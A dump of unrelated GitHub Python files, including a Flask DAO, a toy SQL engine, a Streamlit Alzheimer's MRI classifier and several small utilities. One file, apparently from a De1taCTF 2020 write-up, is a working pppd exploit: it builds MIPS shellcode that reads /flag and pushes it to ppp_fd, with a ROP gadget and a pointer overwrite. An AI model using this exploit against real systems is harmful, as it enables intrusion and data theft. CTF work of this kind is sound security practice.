'Nahar',\n 'Narcissa',\n 'Narmacil II',\n 'Narvi',\n 'Nazeebo',\n 'Nerdanel',\n 'Nessa',\n 'Nienna',\n 'Nienor',\n 'Nimloth',\n 'Nimrodel',\n 'Nymphadora',\n 'Náin I',\n 'Níniel',\n 'Oathkeeper',\n 'Obelix',\n 'Obi-Wan Kenobi',\n 'Ohtar',\n 'Olwë',\n 'Olympe',\n 'Olórin',\n 'Ondoher',\n 'Ophiuchus',\n 'Orion',\n 'Ornendil',\n 'Orodreth',\n 'Oromë',\n 'Oropher',\n 'Orophin',\n 'Orphea',\n 'Ostoher',\n 'Padma',\n 'Palantir',\n 'Pallando',\n 'Parvati',\n 'Pegasus',\n 'Pelendur',\n 'Penelope',\n 'Pengolodh',\n 'Percival',\n 'Peregrin',\n 'Perseus',\n 'Pervinca',\n 'Petunia',\n 'Pharazôn',\n 'Phineas',\n 'Pimpernel',\n 'Pomona',\n 'Poseidon',\n 'Postmaster General',\n 'President McAwesome',\n 'Primula',\n 'Quendi',\n 'Qui-Gon Jinn',\n 'Quirinus',\n 'Rabastan',\n 'Radagast',\n 'Ragnaros',\n 'Rakanoth',\n 'Raynor',\n 'Reginald',\n 'Regulus',\n 'Rehgar',\n 'Remus',\n 'Rodolphus',\n 'Rolanda',\n 'Romilda',\n 'Rowena',\n 'Rubeus',\n 'Rudolph',\n 'Rufus Drumknott',\n 'Rufus',\n 'Rían',\n 'Rómendacil II',\n 'Rúmil',\n 'Sador',\n 'Saeros',\n 'Sagittarius',\n 'Sakalthôr',\n 'Salazar',\n 'Salgant',\n 'Salmar',\n 'Samuro',\n 'Samwell',\n 'Samwise',\n 'Saruman',\n 'Sauron',\n 'Scatha',\n 'Scorpius',\n 'Seamus',\n 'Septima',\n 'Serpens',\n 'Severus',\n 'Shadowfax',\n 'Shagrat',\n 'Shelob',\n 'Silmariën',\n 'Silvanus',\n 'Simon the Sorcerer',\n 'Singollo',\n 'Siriondil',\n 'Sirius',\n 'Smaug',\n 'Sméagol',\n 'Soronto',\n 'Squareonthehypotenus',\n 'Strider',\n 'Sturgis',\n 'Surplus Dairiprodus',\n 'Susan',\n 'Sybill',\n 'Sylvanas',\n 'Súrion',\n 'Tarannon Falastur',\n 'Tarcil',\n 'Tassadar',\n 'Telchar',\n 'Telemmaitë',\n 'Telemnar',\n 'Telperiën',\n 'Telumehtar',\n 'Tenzin',\n 'Thengel',\n 'Theodore',\n 'Theon',\n 'Theophania',\n 'Thingol',\n 'Thorfinn',\n 'Thorin',\n 'Thorondir',\n 'Thorondor',\n 'Thoros of Myr',\n 'Thranduil',\n 'Thráin I',\n 'Thráin II',\n 'Thrór',\n 'Thuringwethel',\n 'Théoden',\n 'Théodred',\n 'Théodwyn',\n 'Tindomiel',\n 'Tinúviel',\n 'Toastmaster',\n 'Toph Beifong',\n 'Tormund Giantsbane',\n 'Travers',\n 'Treebeard',\n 'Tremensdelirius',\n 'Tulkas',\n 'Turambar',\n 'Turgon',\n 'Tychus',\n 'Tyrael',\n 'Tyrael',\n 'Tyrion',\n 'Tywin',\n 'Túrin II',\n 'Vairë',\n 'Valacar',\n 'Valandil of Andúnië',\n 'Valandil of Arnor',\n 'Valandur',\n 'Valar morghulis',\n 'Vanimeldë',\n 'Vardamir Nólimon',\n 'Varis',\n 'Vercingetorix',\n 'Vernon',\n 'Vidugavia',\n 'Vidumavi',\n 'Vincent',\n 'Vinyarion',\n 'Virgo',\n 'Viserys',\n 'Vladimir',\n 'Vorondil the Hunter',\n 'Voronwë',\n 'Whitemane',\n 'Will Whitfoot',\n 'William',\n 'Wilson Francesco II',\n 'Winnifred',\n 'Woody the Woodsmith',\n 'Wormtongue',\n 'Xenophilius',\n 'Yavanna',\n 'Ygritte',\n 'Yoshua'\n 'Yrel',\n 'Yávien',\n 'Zacharias'\n 'Zagara',\n 'Zaphod Beeblebrox',\n 'Zarya',\n 'Zeratul',\n 'Zimraphel',\n 'Zimrathôn',\n 'Zuko',\n 'Ælfwine',\n 'Éomer',\n 'Éomund',\n 'Éothain',\n 'Éothéod',\n 'Éowyn',\n 'Írildë',\n 'Óin, Son of Gróin'\n]\n\n_ASCII = set(\"\"\" !\"#$%&\\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\"\"\")\n\n_REPLACE_CHARS = {\n 'á': 'a',\n 'â': 'a',\n 'ä': 'a',\n 'Æ': 'Ae',\n 'é': 'e',\n 'É': 'E',\n 'ë': 'e',\n 'í': 'i',\n 'Í': 'I',\n 'î': 'i',\n 'Ó': 'O',\n 'ó': 'o',\n 'ô': 'o',\n 'ö': 'o',\n 'ú': 'u',\n 'û': 'u',\n 'ü': 'u'\n}\n\n\ndef _cleanup(name):\n for key, value in _REPLACE_CHARS.items():\n name = name.replace(key, value)\n return name\n\n\ndef get_random_title():\n return random.choice(LIST_OF_TITLES)\n\n\ndef setproctitle(title):\n spt.setproctitle(_cleanup(title))\n","repo_name":"visinf/deblur-devil","sub_path":"utils/proctitles.py","file_name":"proctitles.py","file_ext":"py","file_size_in_byte":12341,"program_lang":"python","lang":"war","doc_type":"code","stars":16,"dataset":"github-code","pt":"31"} +{"seq_id":"5588707098","text":"#!/usr/bin/env python3\nfrom pwn import *\n\ncontext(arch=\"mips\", log_level=\"debug\")\n\n# getflag shellcode: write flag to ppp_fd\nflag_sc = \\\n\"\"\"\n /* Save dst fd for later */\n /* mov $s0, $s0 is a noop */\n\n /* push '/flag\\x00' */\n li $t1, 0x616c662f\n sw $t1, -8($sp)\n li $t9, ~0x67\n not $t1, $t9\n sw $t1, -4($sp)\n addiu $sp, $sp, -8\n\n /* call open('$sp', 'O_RDONLY') */\n add $a0, $sp, $0 /* mov $a0, $sp */\n slti $a1, $zero, 0xFFFF /* $a1 = 0 */\n ori $v0, $zero, SYS_open\n syscall 0x40404\n\n /* Save src fd for later */\n sw $v0, -4($sp) /* mov $s1, $v0 */\n lw $s1, -4($sp)\n\n /* Load file size */\n li $a3, 0xff\n\n /* call sendfile('$s0', '$s1', 0, '$a3') */\n li $t1, 0x45B1F0 /* ppp_fd */\n lw $a0, ($t1)\n add $a1, $s1, $0 /* mov $a1, $s1 */\n slti $a2, $zero, 0xFFFF /* $a2 = 0 */\n ori $v0, $zero, SYS_sendfile\n syscall 0x40404\n\"\"\"\n\n# jump shellcode: jump to getflag shellcode\njmp_sc = \\\n\"\"\"\nlw $t0, ($s0) /* Load jump shellcode address from __sp pointer */\nli $t1, 0x268\nsub $t9, $t0, $t1\nj $t9 /* jump to getflag shellcode */\n\"\"\"\n\n# `__sp` pointer in `sigjmp` struct that stores the address of jump shellcode\nptr = 0x0045c71c\n\n# 0x0043e310 : lw $t9, ($s0) ; addiu $s1, $s1, 1 ; move $a2, $s5 ; move $a1, $s4 ; jalr $t9\ngadget = 0x0043E310\n\npayload = asm(flag_sc).ljust(616, b'\\x00')\npayload += asm(jmp_sc).ljust(648-616, b'\\x00')\npayload += p32(ptr) * 5 # s0 ~ s4\npayload += p32(gadget) # ra\n\npayload = payload.ljust(1024, b'\\x00')\n\nwith open(\"/tmp/sc\", \"wb\") as fp:\n fp.write(payload)\n\nprint(payload)\n","repo_name":"xf1les/ctf-writeups","sub_path":"De1taCTF_2020/pppd/payload.py","file_name":"payload.py","file_ext":"py","file_size_in_byte":1588,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"27955658975","text":"## Base class\nimport ViewBase as vwbs\n\n## Toolbox\n# To store boxplot figures\nimport Toolbox.BoxPlot as bxplt\n\n## PDF creator\nimport pylatex as pyl\n\n## Pylatex external packages support\nimport LaTeX.Lscape as pyle\n\n# Graph library\nimport matplotlib.pyplot as plt\n\n\nclass View(vwbs.ViewBase):\n def __init__(self):\n # Set init parameters of parent class\n super().__init__(\"ReportOne\")\n # Initialise data bank\n self.mBank = {\n \"graphs\": [],\n \"statistics\": [],\n \"dateBegin\": [],\n \"dateEnd\": [],\n \"type\": []\n }\n return\n\n # Creates the pdf file\n def createPDF(self):\n # Loop through each pacakage\n for ind in range(len(self.mBank[\"dateEnd\"])):\n # Generate type of text to be used for report\n text = self.genText(ind)\n # Create section\n with self.mDoc.create(pyl.Section(self.mBank[\"dateBegin\"][ind]+\" - \" + self.mBank[\"dateEnd\"][ind])) as sec:\n # Add description of table\n sec.append(text[\"description\"])\n # Add long table of statistics to section\n self.addTable(sec, self.mBank[\"statistics\"][ind], subxlabel={\"#\":[\"count\"], \"Hours\":[\"mean\", \"lower quartile\", \"median\", \"upper quartile\"]})\n self.addGraph(sec, self.mBank[\"graphs\"][ind], title=text[\"plotTitle\"])\n # Append new page after table/graph\n self.mDoc.append(pyl.NewPage())\n\n # Generate the pdf, and clean the latex files afterwards\n self.mDoc.generate_pdf(clean=True)\n return\n\n def genText(self, ind):\n text = {}\n if self.mBank[\"type\"][ind] == \"jobs\":\n text[\"description\"] = \"A table showing statistics of all jobs created between \" + self.mBank[\"dateBegin\"][ind]+\" - \"+self.mBank[\"dateEnd\"][ind] + \" arranged per school.\"\n text[\"plotTitle\"] = \"Schools against manHours\"\n elif self.mBank[\"type\"][ind] == \"jobsType\":\n text[\"description\"] = \"A table showing statistics of all jobs created between \" + self.mBank[\"dateBegin\"][ind] + \" - \" + self.mBank[\"dateEnd\"][ind] + \" arranged per job type.\"\n text[\"plotTitle\"] = \"Job types against manHours\"\n return text\n","repo_name":"Sezoir/ManchesterUniReports","sub_path":"ReportOne/View.py","file_name":"View.py","file_ext":"py","file_size_in_byte":2265,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"35237919210","text":"from Fichero import Fichero\r\n\r\ndef main():\r\n \r\n text = [\r\n \"En un lugar de la mancha,\",\r\n \"de cuyo nombre no quiero acordarme,\",\r\n \"no ha mucho tiempo que vivía un hidalgo de los de lanza en astillero,\",\r\n \"adarga antigua, ...\"]\r\n\r\n # Crear fichero\r\n myFile = Fichero(\"MiFichero.txt\", text)\r\n myFile.crearFile()\r\n myFile.readFile()\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","repo_name":"Japarraes/Python_Begin","sub_path":"Tema8/Ejercicio01/Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":424,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"25039852141","text":"import logging\nimport traceback\n\nfrom python2sky.config import SKYWALKING_HERADER_V2\nfrom python2sky.context.common import set_layer_http, set_component, set_tag_status_code, set_tag_url, set_tag_method, \\\n REQUESTS\nfrom python2sky.context.context_carrier import ContextCarrier\nfrom python2sky.context.context_manager import ContextManager\n\nlogger = logging.getLogger(__name__)\n\n\ndef requests_install():\n # noinspection PyBroadException\n try:\n from requests import Session\n\n _request = Session.request\n\n def _sw_request(this: Session, method, url,\n params=None, data=None, headers=None, cookies=None, files=None,\n auth=None, timeout=None, allow_redirects=True, proxies=None,\n hooks=None, stream=None, verify=None, cert=None, json=None):\n\n context_carrier = ContextCarrier()\n from urllib.parse import urlparse\n res = urlparse(url)\n\n exit_span = ContextManager.create_inject_exit_span(res.path, res.netloc, context_carrier)\n set_layer_http(exit_span)\n set_component(exit_span, REQUESTS)\n\n if headers is None:\n headers = {SKYWALKING_HERADER_V2: context_carrier.serialize()}\n else:\n headers[SKYWALKING_HERADER_V2] = context_carrier.serialize()\n\n try:\n res = _request(this, method, url, params, data, headers, cookies, files, auth, timeout, allow_redirects,\n proxies,\n hooks, stream, verify, cert, json)\n set_tag_status_code(exit_span, res.status_code)\n set_tag_url(exit_span, url)\n set_tag_method(exit_span, method)\n\n if res.status_code >= 400:\n exit_span.error_occurred = True\n except BaseException as e:\n exit_span.log(e)\n raise e\n finally:\n ContextManager.stop_span(exit_span)\n return res\n\n Session.request = _sw_request\n except Exception:\n logger.warning('failed to install plugin %s', __name__)\n traceback.print_exc()\n","repo_name":"alonelaval/python2sky","sub_path":"python2sky/plugin/requests_plugin.py","file_name":"requests_plugin.py","file_ext":"py","file_size_in_byte":2194,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"31"} +{"seq_id":"41743060302","text":"import dataclasses\nfrom typing import List, Dict\n\nfrom classes import Experiment\n\nbasic_config = Experiment(\n exp=\"Multimodel\",\n multimodel=True,\n epochs = [150],\n batch_size = 32,\n n_models=1,\n data_dir = \"CUB_instance_masked\"\n)\n\ncfg_lists: Dict[str, List[Experiment]] = {}\n\n# To get the sequential baseline for benchmarking the hidden information\nsequentials = []\nfor ndx in range(3):\n new_cfg = dataclasses.replace(\n basic_config,\n exp=\"MultiSequential\",\n tag=f\"seq_inst_{ndx}\",\n seed=ndx,\n )\n sequentials.append(new_cfg)\ncfg_lists[\"sequentials\"] = sequentials\n\n# To do a sweep of certain basic training properties to show how they impact the results\n# ones to use: expand_dim, use_dropout, use_aux, diff_order, adding {1, 10} additional blank dims\ntrain_sweep = []\nchange_list = [\n ('expand_dim', 200),\n ('use_pre_dropout', True),\n ('shuffle', False), # Need to halve epochs if they all see the same examples\n ('use_aux', False),\n ('n_attributes', 110),\n ('n_attributes', 119),\n]\nfor change in change_list:\n new_cfg = dataclasses.replace(\n basic_config,\n tag=f\"multi_inst_{change[0]}_{change[1]}\",\n **{change[0]: change[1]}\n )\n new_cfg.n_models = 4\n new_cfg.batch_size = 8\n train_sweep.append(new_cfg)\ncfg_lists[\"train_sweep\"] = train_sweep\n\n# To do a sweep of different attr_loss_weight values to show how they impact the results\ntest_attr_loss_weights = []\nfor attr_loss_weight in [0.1, 0.2, 0.3, 0.5, 1, 2, 3, 5, 10]:\n for dropout in [False, True]:\n dropout_str = \"dropout\" if dropout else \"no-dropout\"\n new_cfg = dataclasses.replace(\n basic_config,\n tag=f\"multi_inst_attr_loss_{attr_loss_weight}_{dropout_str}\",\n attr_loss_weight=attr_loss_weight,\n use_pre_dropout=dropout\n )\n test_attr_loss_weights.append(new_cfg)\ncfg_lists[\"loss_weights\"] = test_attr_loss_weights\n\n# Doing a sweep of different models to show how they impact the results\ntest_all_archs = []\nfor arch in [\"resnet18\", \"resnet34\", \"resnet50\", \"resnet101\", \"inception_v3\"]:\n new_cfg = dataclasses.replace(\n basic_config,\n tag=f\"multi_inst_{arch}\",\n model = arch,\n use_aux = False\n )\n test_all_archs.append(new_cfg)\n if arch in [\"resnet50\", \"resnet101\"]:\n new_cfg = dataclasses.replace(\n new_cfg,\n tag=f\"multi_inst_{arch}2\",\n model = arch,\n pretrained_weight_n = 2\n )\n test_all_archs.append(new_cfg)\ncfg_lists[\"test_all_archs\"] = test_all_archs","repo_name":"HoagyC/hidden_paper","sub_path":"configs.py","file_name":"configs.py","file_ext":"py","file_size_in_byte":2608,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"11919662448","text":"# -*- coding: utf-8 -*-\nimport sys\nfrom flask import flash\nfrom application import db\nfrom flask_sqlalchemy import SQLAlchemy\nfrom datetime import datetime\n\nclass socioDAO(db.Model):\n __tablename__ = 'socios'\n idSocio = db.Column(db.Integer, primary_key=True, autoincrement=True)\n nome = db.Column(db.String(150))\n cpf = db.Column(db.String(11))\n telefone = db.Column(db.String(20))\n endereco = db.Column(db.String(150))\n complemento = db.Column(db.String(150))\n dataCadastro = db.Column(db.Date)\n sexo = db.Column(db.String(2))\n\n def __init__(self, nome, cpf, telefone, endereco, complemento, sexo):\n self.nome = nome\n self.cpf = cpf\n self.telefone = telefone\n self.endereco = endereco\n self.complemento = complemento\n self.sexo = sexo\n self.dataCadastro = datetime.today()\n\n def salvar(self, obj):\n db.create_all()\n try:\n db.session.add(obj)\n db.session.commit()\n except:\n flash('Falha ao salvar o registro'+str(sys.exc_info()[0]), 'alert alert-danger')\n else:\n flash('O registro foi salvo com sucesso!', 'alert alert-success')\n\n def listar(self):\n socios = self.query.all()\n return socios\n\n def deletar(self, id):\n socio = self.getId(self,id)\n if socio:\n try:\n db.session.delete(socio)\n db.session.commit()\n except:\n flash('Falha ao deletar o registro'+str(sys.exc_info()[0]), 'alert alert-danger')\n else:\n flash('O registro foi deletado com sucesso!', 'alert alert-success')\n\n def editar(self):\n try:\n db.session.commit()\n except:\n flash('Falha ao editar o registro'+str(sys.exc_info()[0]), 'alert alert-danger')\n else:\n flash('O registro foi atualizado com sucesso!', 'alert alert-success')\n\n def getId(self, id):\n socio = self.query.filter_by(idSocio=id).first()\n return socio\n","repo_name":"mauriciopj/SGF","sub_path":"SGF/application/models/socioDAO.py","file_name":"socioDAO.py","file_ext":"py","file_size_in_byte":2038,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"16709196600","text":"import math\nimport constants\n\nfrom table import Table\nfrom row import Row\nfrom vm import VM\n\nclass SQL_Statement:\n def __init__(self, sql_string):\n self.sql_string_array = sql_string.split()\n self.statement_type = self.sql_string_array[0]\n self.command_executions = {\n 'insert': self.handle_insert_command,\n 'select': self.handle_select_command\n }\n self.vm = VM()\n\n def execute(self, table):\n if self.statement_type not in self.command_executions:\n print(self.statement_type + \" is not a valid command\")\n return\n \n self.command_executions[self.statement_type](table)\n\n\n def handle_insert_command(self, table):\n # format the row to insert\n row = self.get_row_from_insert_command()\n\n if not row:\n return\n self.vm.insert_row(row, table)\n\n\n def handle_select_command(self, table):\n if (self.validate_select_command()):\n self.vm.select_all_rows(table)\n\n def get_row_from_insert_command(self):\n if len(self.sql_string_array) != 4:\n print(\"PREPARE_SYNTAX_ERROR: the insert command takes three arguments - insert 1 name email@example.com\")\n return False\n\n ## validate input ID\n try:\n user_id = int(self.sql_string_array[1])\n\n if (user_id <= 0):\n print(\"row ID must be positive\")\n return False\n\n except ValueError:\n print(\"Second argument must be an integer\")\n return False\n\n ## validate input name\n name = self.sql_string_array[2]\n if (len(name) > constants.NAME_FIELD_SIZE):\n print(\"name too long: \" + name)\n return False\n\n ## validate input email\n email = self.sql_string_array[3]\n if (len(email) > constants.EMAIL_FIELD_SIZE):\n print(\"email too long: \" + email)\n return False\n\n row = Row(user_id, name, email)\n row.serialize()\n return row\n\n\n def validate_select_command(self):\n if len(self.sql_string_array) != 1:\n print(\"PREPARE_SYNTAX_ERROR: the select command takes no arguments\")\n return False\n\n return True","repo_name":"ngozinwogwugwu/nwodb","sub_path":"python/sql_statement.py","file_name":"sql_statement.py","file_ext":"py","file_size_in_byte":2017,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"26899938798","text":"import streamlit as st\r\nfrom keras.models import load_model\r\nimport numpy as np\r\nfrom PIL import Image\r\nimport base64\r\nfrom io import BytesIO\r\nimport tensorflow as tf\r\nimport keras\r\n\r\nst.set_page_config(layout=\"wide\", page_title=\"BRAINLENS\")\r\n\r\n@st.cache(allow_output_mutation=True)\r\ndef get_base64_of_bin_file(bin_file):\r\n with open(bin_file, 'rb') as f:\r\n data = f.read()\r\n return base64.b64encode(data).decode()\r\n\r\ndef set_png_as_page_bg(png_file):\r\n bin_str = get_base64_of_bin_file(png_file) \r\n page_bg_img = '''\r\n \r\n\r\n ''' % bin_str\r\n \r\n st.markdown(page_bg_img, unsafe_allow_html=True)\r\n return \r\nset_png_as_page_bg(\"C:/Users/User-PC/Downloads/22af95b7ca4bcfa6f52f9370414f146b.jpg\")\r\n\r\n\r\n\r\n@st.cache(allow_output_mutation=True)\r\ndef load_model():\r\n model = tf.keras.models.load_model(\"model.h5\")\r\n model.load_weights(\"weights.h5\")\r\n return model\r\n\r\nwith st.spinner('Model is being loaded..'):\r\n model = load_model()\r\n\r\n# Get the class indices\r\nclass_indices = {\"MildDemented\": 0, \"ModerateDemented\": 1, \"NonDemented\": 2, \"VeryMildDemented\": 3}\r\n\r\ndef predict(image):\r\n # Pre-process the image data\r\n image = image.resize((150, 150))\r\n image = image.convert(\"RGB\")\r\n image = np.array(image) / 255.0\r\n image = np.expand_dims(image, axis=0)\r\n\r\n # Run the image data through the model\r\n predictions = model.predict(image)\r\n predicted_class = np.argmax(predictions[0])\r\n predicted_score = predictions[0][predicted_class]\r\n\r\n return predicted_class, predicted_score\r\n\r\ndef get_recommendation(predicted_class):\r\n if predicted_class == 0:\r\n return \"You may have some memory problems, but you can still handle your own care and financial affairs. You may benefit from support groups and counseling.\"\r\n elif predicted_class == 1:\r\n return \"You have more memory problems and will have trouble with daily activities. you will need help with many aspects of your care, such as bathing and dressing. Support groups and counseling may be beneficial.\"\r\n elif predicted_class == 2:\r\n return \"You do not show any signs of dementia at this time. It is important to continue maintaining a healthy lifestyle including a balanced diet, regular exercise, and engaging in mentally stimulating activities to promote cognitive health.\"\r\n elif predicted_class == 3:\r\n return \"You may have some problems with memory, but you can still carry out most of your daily activities. you may benefit from support groups and counseling.\"\r\n else:\r\n return \"Recommendation: Please consult with a doctor or healthcare professional for a personalized diagnosis and recommendations.\"\r\n\r\n\r\n\r\nst.markdown(\r\n \"

    BRAINLENS

    \",\r\n unsafe_allow_html=True\r\n)\r\nst.markdown(\"**🚫 This App is relevant to doctors and anyone else that has already been diagnosed with Alzheimer's disease 🚫**\")\r\nst.markdown(\"**To get your results, select the Prediction section on the Navigation section on your left**\")\r\n\r\nst.sidebar.title(\"Navigation\")\r\napp_mode = st.sidebar.selectbox(\"Choose a section\", [\"Project Overview\", \"Dementia symptoms\", \"Prediction section\"])\r\n\r\n\r\n\r\n# Download the fixed image\r\ndef convert_image(img):\r\n buf = BytesIO()\r\n img.save(buf, format=\"PNG\")\r\n byte_im = buf.getvalue()\r\n return byte_im\r\n\r\ndef fix_image(upload):\r\n image = Image.open(upload)\r\n fixed = image\r\n st.markdown(\"

    Image Results

    \", unsafe_allow_html=True)\r\n col1, col2, col3 = st.columns(3)\r\n\r\n with col1:\r\n st.write(' ')\r\n with col2:\r\n st.image(fixed)\r\n with col3:\r\n st.write(' ')\r\n \r\n\r\n predicted_class, predicted_score = predict(fixed)\r\n class_name = [class_name for class_name, class_index in class_indices.items() if class_index == predicted_class]\r\n st.write(\"Predicted class: \" + class_name[0])\r\n st.write(\"Predicted score: \" + str(predicted_score))\r\n st.write(\"Recommendation: \" + get_recommendation(predicted_class))\r\n st.empty()\r\n st.write(\"Please consult with a doctor or healthcare professional for a personalized diagnosis and recommendations.\")\r\n st.sidebar.markdown(\"\\n\")\r\n st.sidebar.download_button(\"Download fixed image\", convert_image(fixed), \"fixed.png\", \"image/png\")\r\n\r\n st.sidebar.empty()\r\n st.sidebar.markdown(\"**Made by Team 4**\")\r\n\r\n\r\nif app_mode == \"Prediction section\":\r\n my_upload = st.sidebar.file_uploader(\"Upload an image\", type=[\"png\", \"jpg\", \"jpeg\"])\r\n if my_upload is not None:\r\n fix_image(upload=my_upload)\r\n else:\r\n fix_image(\"C:/Users/User-PC/sample_deploy/WhatsApp Image 2023-01-12 at 14.38.58.jpeg\")\r\nelif app_mode == \"Project Overview\":\r\n st.markdown(\"

    Alzheimer's Disease(AD)

    \", unsafe_allow_html=True)\r\n st.write(\"\"\"\r\n Alzheimer's Disease is a progressive disorder that destroys memory and other important mental functions. It is the most common cause of dementia among older adults. According to Alzheimer's association, AD is incurable and the sixth leading cause of death in the united states and is expected to become four times as of now by the end of 2050. Although there is no cure for Alzheimers disease, getting a diagnosis quickly at an early stage helps patients. It allows them to access help and support, get treatment to manage their symptoms, and plan for the future. However, it can be challenging to diagnose Alzheimers disease, which can lead to suboptimal patient care. \r\n \"\"\")\r\n st.write(\"To solve this problem we created Brainlens which is a machine learning application that correctly classifies the stage of one's alzheimer's disease and advises on the next course of action.\")\r\n st.video(\"https://www.youtube.com/watch?v=RT907zjpZUM\")\r\nelse:\r\n st.write(\"**As mentioned in the Project Overview section, Alzheimer's is the main cause of dementia. Symptoms of dementia include:** \")\r\n st.markdown(\r\n \"

    Cognitive changes

    \",\r\n unsafe_allow_html=True\r\n )\r\n st.write(\"- Memory loss, which is usually noticed by someone else\")\r\n st.write(\"- Difficulty communicating or finding words\")\r\n st.write(\"- Difficulty with visual and spatial abilities, such as getting lost while driving\")\r\n st.write(\"- Difficulty reasoning or problem-solving\")\r\n st.write(\"- Difficulty handling complex tasks\")\r\n st.write(\"- Difficulty with planning and organizing\")\r\n st.write(\"- Difficulty with coordination and motor functions\")\r\n st.write(\"- Confusion and disorientation\")\r\n st.markdown(\r\n \"

    Psychological changes

    \",\r\n unsafe_allow_html=True\r\n )\r\n st.write(\"- Personality changes\")\r\n st.write(\"- Depression\")\r\n st.write(\"- Anxiety\")\r\n st.write(\"- Inappropriate behavior\")\r\n st.write(\"- Paranoia\")\r\n st.write(\"- Agitation\")\r\n st.write(\"- Hallucinations\")\r\n\r\n","repo_name":"NguyoJer/Alzheimer-s-Disease-Detection","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":7201,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"34358335106","text":"import re\nimport setuptools\n\ndef get_property(prop, project):\n result = re.search(r'{}\\s*=\\s*[\\'\"]([^\\'\"]*)[\\'\"]'.format(prop),\n open(project+'/__init__.py').read())\n return result.group(1)\n\nwith open(\"README.md\", \"r\", encoding=\"utf-8\") as file:\n long_description = file.read()\n\nreqs = []\nfor line in open('requirements.txt', 'r').readlines():\n reqs.append(line)\n\nsetuptools.setup(\n name=\"odreduce\",\n version=get_property('__version__', 'odreduce'),\n license=\"MIT\",\n author=\"group 1\",\n author_email=\"lzk170@163.com\",\n description=\"Observation and Data Reduction\",\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n url=\"https://github.com/ZhikaiLi2022/odreduce\",\n project_urls={\n \"Source\": \"https://github.com/ZhikaiLi2022/odreduce\",\n \"Bug Tracker\": \"https://github.com/ZhikaiLi2022/odreduce/issues\",\n },\n classifiers=[\n \"Programming Language :: Python :: 3\",\n \"Operating System :: OS Independent\",\n ],\n install_requires=reqs,\n packages=setuptools.find_packages(),\n package_data={\"\": [\"dicts/*.dict\"]},\n entry_points={'console_scripts':['odreduce=odreduce.cli:main']},\n python_requires=\">=3.6\",\n)\n","repo_name":"ZhikaiLi2022/ODreduce","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1247,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"22918058236","text":"# -*- coding: utf-8 -*-\n# NN - ltu\n# transfer function - linear threshold unit\n# activation function - heaviside function\n# batch delta learning rule\n# delta - w <- w+lr(t-y)x -t target -y output\n# using augmented notation\n\n# sigma = 1.5\n# w_1 = 2\n# weights - w = [-sigma, w_1]\n# weights - w = [-1.5, 2]\n\nimport numpy as np\n\n#weights\nw = np.array([-1.5, 2])\nlr = 1\n\n#inputs\n# x = [1,x_1]\nx1 = np.array([[1, 0], \n [1, 1]])\nt = np.array([1,0])\n\nr,c = x1.shape\nt_y = 0\ntemp1 = 0\n\nfor i in range(0,7):\n print(\"____epoch: \", i)\n for j in range(0,r):\n #y = H(wx)\n y = np.heaviside(np.dot(w,x1[j,:]),1)\n t_y = (t[j]-y)\n temp1 = (lr*(t_y)*x1[j,:])+temp1\n \n w = w+temp1\n print(w)\n print()\n #reset parameters\n t_y = 0\n temp1 = 0\n\nprint()\n","repo_name":"Barengific/Pattern_Recognition_LA","sub_path":"Batch_Delta_LR_NN_Linear_Threshold.py","file_name":"Batch_Delta_LR_NN_Linear_Threshold.py","file_ext":"py","file_size_in_byte":801,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"37096203488","text":"import sys, random, pygame, clr, time\r\n\r\n# CONSTANTS\r\nX = 1366\r\nY = 768\r\nd_OBJ = {\"car\": [0.75, 1, True], \"bike\": [0.5, 1.5, True], \"truck\": [1.2, 0.75, True]}\r\ncrclr = clr.red()\r\n\r\n# variables\r\nx = int(X/2-int((X / 9) * d_OBJ[\"car\"][0])/2)\r\ny = Y-int((Y / 4.5) * d_OBJ[\"car\"][0])\r\nl=3\r\nadd = 4\r\nspd = 2\r\nnum=0\r\nj=0\r\nlst=[]\r\nrlst=[random.randrange(1, 3), random.randrange(3, 6)]\r\n\r\nfor i in range(2):\r\n r=random.choice([\"car\", \"bike\", \"truck\"])\r\n r1=rlst[i]\r\n lst.append([r, r1, -int((X / 4.5) * d_OBJ[r][0]), clr.rdm()])\r\nscreen = pygame.display.set_mode((0, 0), pygame.FULLSCREEN)\r\n\r\n\r\n# Functions\r\n\r\n\r\ndef crash():\r\n global l, x, y, lst\r\n for i in range(len(lst)):\r\n if (x >= int(lst[i][1] * int(X / 7)) + int(X / 14) - (int(X / 9) * d_OBJ[lst[i][0]][0]/2) \\\r\n and x <= (int(lst[i][1] * int(X / 7)) + int(X / 14) - (int(X / 9) * d_OBJ[lst[i][0]][0]/2)) + int((X / 9) * d_OBJ[lst[i][0]][0])) \\\r\n or (x + int((X / 9) * d_OBJ[\"car\"][0]) >= int(lst[i][1] * int(X / 7)) + int(X / 14) - (int(X / 9) * d_OBJ[lst[i][0]][0]/2) \\\r\n and x + int((X / 9) * d_OBJ[\"car\"][0]) <= (int(lst[i][1] * int(X / 7)) + int(X / 14) - (int(X / 9) * d_OBJ[lst[i][0]][0]/2)) + int((X / 9) * d_OBJ[lst[i][0]][0]))\\\r\n or (x <= int(lst[i][1] * int(X / 7)) + int(X / 14) - (int(X / 9) * d_OBJ[lst[i][0]][0]/2)\r\n and x + int((X / 9) * d_OBJ[\"car\"][0]) >= (int(lst[i][1] * int(X / 7)) + int(X / 14) - (int(X / 9) * 